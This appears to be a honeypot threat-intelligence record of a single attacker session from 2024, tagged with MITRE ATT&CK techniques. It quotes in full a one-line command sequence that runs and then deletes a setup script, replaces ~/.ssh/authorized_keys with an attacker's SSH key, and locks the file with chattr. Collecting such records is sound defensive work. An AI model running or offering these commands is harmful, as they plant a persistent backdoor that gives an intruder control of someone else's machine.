Honeypot attack session (period 2024), commands issued:
chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1098 Account Manipulation
T1222 File and Directory Permissions Modification
T1082 System Information Discovery